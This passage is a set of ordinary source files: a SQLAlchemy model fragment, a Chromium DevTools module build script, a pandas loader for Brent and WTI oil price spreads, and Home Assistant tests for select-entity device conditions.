= sa.Column( sa.ForeignKey( "assigned_variant_attribute.id", ), nullable=False, ) assignment = relationship(AssignedVariantAttribute) value_id = sa.Column( sa.ForeignKey("attribute_value.id"), nullable=False, ) value = relationship(AttributeValue)
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#!/usr/bin/env python # # Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ Release: - Concatenates autostart modules, application modules' module.json descriptors, and the application loader into a single script. - Builds app.html referencing the application script. Debug: - Copies the module directories into their destinations. - Copies app.html as-is. """ from cStringIO import StringIO from os import path from os.path import join from modular_build import read_file, write_file, bail_error import copy import modular_build import os import re import shutil import sys try: import simplejson as json except ImportError: import json import rjsmin def resource_source_url(url): return '\n/*# sourceURL=' + url + ' */' def minify_js(javascript): return rjsmin.jsmin(javascript) def concatenated_module_filename(module_name, output_dir): return join(output_dir, module_name + '/' + module_name + '_module.js') def symlink_or_copy_file(src, dest, safe=False): if safe and path.exists(dest): os.remove(dest) if hasattr(os, 'symlink'): os.symlink(src, dest) else: shutil.copy(src, dest) def symlink_or_copy_dir(src, dest): if path.exists(dest): shutil.rmtree(dest) for src_dir, dirs, files in os.walk(src): subpath = path.relpath(src_dir, src) dest_dir = path.normpath(join(dest, subpath)) os.mkdir(dest_dir) for name in files: src_name = join(os.getcwd(), src_dir, name) dest_name = join(dest_dir, name) symlink_or_copy_file(src_name, dest_name) class AppBuilder: def __init__(self, application_name, descriptors, application_dir, output_dir): self.application_name = application_name self.descriptors = descriptors self.application_dir = application_dir self.output_dir = output_dir def app_file(self, extension): return self.application_name + '.' + extension def core_resource_names(self): result = [] for module in self.descriptors.sorted_modules(): if self.descriptors.application[module].get('type') != 'autostart': continue resources = self.descriptors.modules[module].get('resources') if not resources: continue for resource_name in resources: result.append(path.join(module, resource_name)) return result # Outputs: # <app_name>.html # <app_name>.js # <module_name>_module.js class ReleaseBuilder(AppBuilder): def __init__(self, application_name, descriptors, application_dir, output_dir): AppBuilder.__init__(self, application_name, descriptors, application_dir, output_dir) def build_app(self): if self.descriptors.has_html: self._build_html() self._build_app_script() for module in filter(lambda desc: (not desc.get('type') or desc.get('type') == 'remote'), self.descriptors.application.values()): self._concatenate_dynamic_module(module['name']) def _build_html(self): html_name = self.app_file('html') output = StringIO() with open(join(self.application_dir, html_name), 'r') as app_input_html: for line in app_input_html: if '<script ' in line or '<link ' in line: continue if '</head>' in line: output.write(self._generate_include_tag(self.app_file('js'))) output.write(line) write_file(join(self.output_dir, html_name), output.getvalue()) output.close() def _build_app_script(self): script_name = self.app_file('js') output = StringIO() self._concatenate_application_script(output) write_file(join(self.output_dir, script_name), minify_js(output.getvalue())) output.close() def _generate_include_tag(self, resource_path): if (resource_path.endswith('.js')): return ' <script type="text/javascript" src="%s"></script>\n' % resource_path else: assert resource_path def _release_module_descriptors(self): module_descriptors = self.descriptors.modules result = [] for name in module_descriptors: module = copy.copy(module_descriptors[name]) module_type = self.descriptors.application[name].get('type') # Clear scripts, as they are not used at runtime # (only the fact of their presence is important). resources = module.get('resources', None) if module.get('scripts') or resources: if module_type == 'autostart': # Autostart modules are already baked in. del module['scripts'] else: # Non-autostart modules are vulcanized. module['scripts'] = [name + '_module.js'] # Resources are already baked into scripts. if resources is not None: del module['resources'] result.append(module) return json.dumps(result) def _write_module_resources(self, resource_names, output): for resource_name in resource_names: resource_name = path.normpath(resource_name).replace('\\', '/') output.write('Runtime.cachedResources["%s"] = "' % resource_name) resource_content = read_file(path.join(self.application_dir, resource_name)) + resource_source_url(resource_name) resource_content = resource_content.replace('\\', '\\\\') resource_content = resource_content.replace('\n', '\\n') resource_content = resource_content.replace('"', '\\"') output.write(resource_content) output.write('";\n') def _concatenate_autostart_modules(self, output): non_autostart = set() sorted_module_names = self.descriptors.sorted_modules() for name in sorted_module_names: desc = self.descriptors.modules[name] name = desc['name'] type = self.descriptors.application[name].get('type') if type == 'autostart': deps = set(desc.get('dependencies', [])) non_autostart_deps = deps & non_autostart if len(non_autostart_deps): bail_error('Non-autostart dependencies specified for the autostarted module "%s": %s' % (name, non_autostart_deps)) output.write('\n/* Module %s */\n' % name) modular_build.concatenate_scripts(desc.get('scripts'), join(self.application_dir, name), self.output_dir, output) else: non_autostart.add(name) def _concatenate_application_script(self, output): runtime_contents = read_file(join(self.application_dir, 'Runtime.js')) runtime_contents = re.sub('var allDescriptors = \[\];', 'var allDescriptors = %s;' % self._release_module_descriptors().replace('\\', '\\\\'), runtime_contents, 1) output.write('/* Runtime.js */\n') output.write(runtime_contents) output.write('\n/* Autostart modules */\n') self._concatenate_autostart_modules(output) output.write('/* Application descriptor %s */\n' % self.app_file('json')) output.write('applicationDescriptor = ') output.write(self.descriptors.application_json()) output.write(';\n/* Core resources */\n') self._write_module_resources(self.core_resource_names(), output) output.write('\n/* Application loader */\n') output.write(read_file(join(self.application_dir, self.app_file('js')))) def _concatenate_dynamic_module(self, module_name): module = self.descriptors.modules[module_name] scripts = module.get('scripts') resources = self.descriptors.module_resources(module_name) module_dir = join(self.application_dir, module_name) output = StringIO() if scripts: modular_build.concatenate_scripts(scripts, module_dir, self.output_dir, output) if resources: self._write_module_resources(resources, output) output_file_path = concatenated_module_filename(module_name, self.output_dir) write_file(output_file_path, minify_js(output.getvalue())) output.close() # Outputs: # <app_name>.html as-is # <app_name>.js as-is # <module_name>/<all_files> class DebugBuilder(AppBuilder): def __init__(self, application_name, descriptors, application_dir, output_dir): AppBuilder.__init__(self, application_name, descriptors, application_dir, output_dir) def build_app(self): if self.descriptors.has_html: self._build_html() js_name = self.app_file('js') src_name = join(os.getcwd(), self.application_dir, js_name) symlink_or_copy_file(src_name, join(self.output_dir, js_name), True) for module_name in self.descriptors.modules: module = self.descriptors.modules[module_name] input_module_dir = join(self.application_dir, module_name) output_module_dir = join(self.output_dir, module_name) symlink_or_copy_dir(input_module_dir, output_module_dir) def _build_html(self): html_name = self.app_file('html') symlink_or_copy_file(join(os.getcwd(), self.application_dir, html_name), join(self.output_dir, html_name), True) def build_application(application_name, loader, application_dir, output_dir, release_mode): descriptors = loader.load_application(application_name + '.json') if release_mode: builder = ReleaseBuilder(application_name, descriptors, application_dir, output_dir) else: builder = DebugBuilder(application_name, descriptors, application_dir, output_dir) builder.build_app()
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import pandas as pd def get_bbg_data(): """ Daily prices since 1990""" path = "https://github.com/queiyanglim/trading_algorithm/raw/master/oil_trading/data/oil_prices.csv" df_pull = pd.read_csv(path, header=[0], index_col = 0) df_pull = df_pull[["CO1 Comdty", "CL1 Comdty"]] df_pull.index.name = "timestamp" df_pull = df_pull.rename(columns = {"CO1 Comdty": "brent", "CL1 Comdty": "wti"}) df_pull.index = pd.to_datetime(df_pull.index, format = "%d/%m/%Y") df = df_pull.copy() df["spread"] = df.brent - df.wti # df = df.tail(2000) # df = np.log(df).diff() df = df.dropna() return df
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py
"""The tests for Select device conditions.""" from __future__ import annotations import pytest import voluptuous_serialize from homeassistant.components import automation from homeassistant.components.device_automation import DeviceAutomationType from homeassistant.components.select import DOMAIN from homeassistant.components.select.device_condition import ( async_get_condition_capabilities, ) from homeassistant.core import HomeAssistant, ServiceCall from homeassistant.helpers import ( config_validation as cv, device_registry, entity_registry, ) from homeassistant.helpers.entity import EntityCategory from homeassistant.setup import async_setup_component from tests.common import ( MockConfigEntry, assert_lists_same, async_get_device_automations, async_mock_service, mock_device_registry, mock_registry, ) @pytest.fixture def device_reg(hass: HomeAssistant) -> device_registry.DeviceRegistry: """Return an empty, loaded, registry.""" return mock_device_registry(hass) @pytest.fixture def entity_reg(hass: HomeAssistant) -> entity_registry.EntityRegistry: """Return an empty, loaded, registry.""" return mock_registry(hass) @pytest.fixture def calls(hass: HomeAssistant) -> list[ServiceCall]: """Track calls to a mock service.""" return async_mock_service(hass, "test", "automation") async def test_get_conditions( hass: HomeAssistant, device_reg: device_registry.DeviceRegistry, entity_reg: entity_registry.EntityRegistry, ) -> None: """Test we get the expected conditions from a select.""" config_entry = MockConfigEntry(domain="test", data={}) config_entry.add_to_hass(hass) device_entry = device_reg.async_get_or_create( config_entry_id=config_entry.entry_id, connections={(device_registry.CONNECTION_NETWORK_MAC, "12:34:56:AB:CD:EF")}, ) entity_reg.async_get_or_create(DOMAIN, "test", "5678", device_id=device_entry.id) expected_conditions = [ { "condition": "device", "domain": DOMAIN, "type": "selected_option", "device_id": device_entry.id, "entity_id": f"{DOMAIN}.test_5678", "metadata": {"secondary": False}, } ] conditions = await async_get_device_automations( hass, DeviceAutomationType.CONDITION, device_entry.id ) assert_lists_same(conditions, expected_conditions) @pytest.mark.parametrize( "hidden_by,entity_category", ( (entity_registry.RegistryEntryHider.INTEGRATION, None), (entity_registry.RegistryEntryHider.USER, None), (None, EntityCategory.CONFIG), (None, EntityCategory.DIAGNOSTIC), ), ) async def test_get_conditions_hidden_auxiliary( hass, device_reg, entity_reg, hidden_by, entity_category, ): """Test we get the expected conditions from a hidden or auxiliary entity.""" config_entry = MockConfigEntry(domain="test", data={}) config_entry.add_to_hass(hass) device_entry = device_reg.async_get_or_create( config_entry_id=config_entry.entry_id, connections={(device_registry.CONNECTION_NETWORK_MAC, "12:34:56:AB:CD:EF")}, ) entity_reg.async_get_or_create( DOMAIN, "test", "5678", device_id=device_entry.id, entity_category=entity_category, hidden_by=hidden_by, ) expected_conditions = [ { "condition": "device", "domain": DOMAIN, "type": condition, "device_id": device_entry.id, "entity_id": f"{DOMAIN}.test_5678", "metadata": {"secondary": True}, } for condition in ["selected_option"] ] conditions = await async_get_device_automations( hass, DeviceAutomationType.CONDITION, device_entry.id ) assert_lists_same(conditions, expected_conditions) async def test_if_selected_option( hass: HomeAssistant, calls: list[ServiceCall] ) -> None: """Test for selected_option conditions.""" assert await async_setup_component( hass, automation.DOMAIN, { automation.DOMAIN: [ { "trigger": {"platform": "event", "event_type": "test_event1"}, "condition": [ { "condition": "device", "domain": DOMAIN, "device_id": "", "entity_id": "select.entity", "type": "selected_option", "option": "option1", } ], "action": { "service": "test.automation", "data": { "result": "option1 - {{ trigger.platform }} - {{ trigger.event.event_type }}" }, }, }, { "trigger": {"platform": "event", "event_type": "test_event2"}, "condition": [ { "condition": "device", "domain": DOMAIN, "device_id": "", "entity_id": "select.entity", "type": "selected_option", "option": "option2", } ], "action": { "service": "test.automation", "data": { "result": "option2 - {{ trigger.platform }} - {{ trigger.event.event_type }}" }, }, }, ] }, ) # Test with non existing entity hass.bus.async_fire("test_event1") hass.bus.async_fire("test_event2") await hass.async_block_till_done() assert len(calls) == 0 hass.states.async_set( "select.entity", "option1", {"options": ["option1", "option2"]} ) hass.bus.async_fire("test_event1") hass.bus.async_fire("test_event2") await hass.async_block_till_done() assert len(calls) == 1 assert calls[0].data["result"] == "option1 - event - test_event1" hass.states.async_set( "select.entity", "option2", {"options": ["option1", "option2"]} ) hass.bus.async_fire("test_event1") hass.bus.async_fire("test_event2") await hass.async_block_till_done() assert len(calls) == 2 assert calls[1].data["result"] == "option2 - event - test_event2" async def test_get_condition_capabilities(hass: HomeAssistant) -> None: """Test we get the expected capabilities from a select condition.""" config = { "platform": "device", "domain": DOMAIN, "type": "selected_option", "entity_id": "select.test", "option": "option1", } # Test when entity doesn't exists capabilities = await async_get_condition_capabilities(hass, config) assert capabilities assert "extra_fields" in capabilities assert voluptuous_serialize.convert( capabilities["extra_fields"], custom_serializer=cv.custom_serializer ) == [ { "name": "option", "required": True, "type": "select", "options": [], }, { "name": "for", "optional": True, "type": "positive_time_period_dict", }, ] # Mock an entity hass.states.async_set("select.test", "option1", {"options": ["option1", "option2"]}) # Test if we get the right capabilities now capabilities = await async_get_condition_capabilities(hass, config) assert capabilities assert "extra_fields" in capabilities assert voluptuous_serialize.convert( capabilities["extra_fields"], custom_serializer=cv.custom_serializer ) == [ { "name": "option", "required": True, "type": "select", "options": [("option1", "option1"), ("option2", "option2")], }, { "name": "for", "optional": True, "type": "positive_time_period_dict", }, ]